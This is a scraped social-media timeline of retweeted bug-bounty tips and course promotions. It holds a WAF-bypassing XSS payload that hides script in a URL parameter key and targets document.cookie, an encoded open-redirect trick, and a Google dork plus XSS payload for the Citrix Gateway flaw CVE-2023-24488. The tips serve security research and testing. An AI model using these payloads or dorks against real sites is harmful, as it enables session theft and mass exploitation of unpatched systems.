Rakib Khan retweeted
test.ok?p=test<S>s
->
test<s>s
test.ok?p[%3C%svg%20%onload%3dalert(document.cookie)%3E]=test
->
{"<svg onload=alert(document.cookie)>":"test"}
% in front of svg and onload ->used to bypass the WAF
%3d -> = URL-encoded to bypass the filter
it's worth trying this old trick
fakewebsite.tw%0d%https://xitter.cf/t.co/2ekExV77qF
fakewebsite.tw%https://xitter.cf/t.co/HcC7HEtnbq
Rakib Khan retweeted
I have pushed 3 massive updates to my course since July to include more labs/videos on SSRF, RCE, ATO, 403/401 Bypasses, and more! 🧑🏽💻
👀 I'll give away two free vouchers to two people who retweet and reply with 'RCE' under this post!
ℹ️ More info 👉🏼 bugbounty.nahamsec.training
Rakib Khan retweeted
🥰Thank you to the researchers and users for your contributions and support. Let's celebrate our 3rd anniversary together!
💡Activity: Share this post(3rd-of-tecnosrc-0922.mystrik…) to win 50 credits.
➡️Time: 9.22-9.30 (UTC+8)
#hack #infosec #bugbounty #AppSec #cybersecurity
Rakib Khan retweeted
How to find Citrix Gateway Open Redirect and XSS (CVE-2023-24488) - using Google Dorking
Dork: "inurl:/vpn/logout.html"
Payload: /oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a<script>alert(document.domain)</script>
Be ready for duplicates :)
#bugbountytips #bugbounty
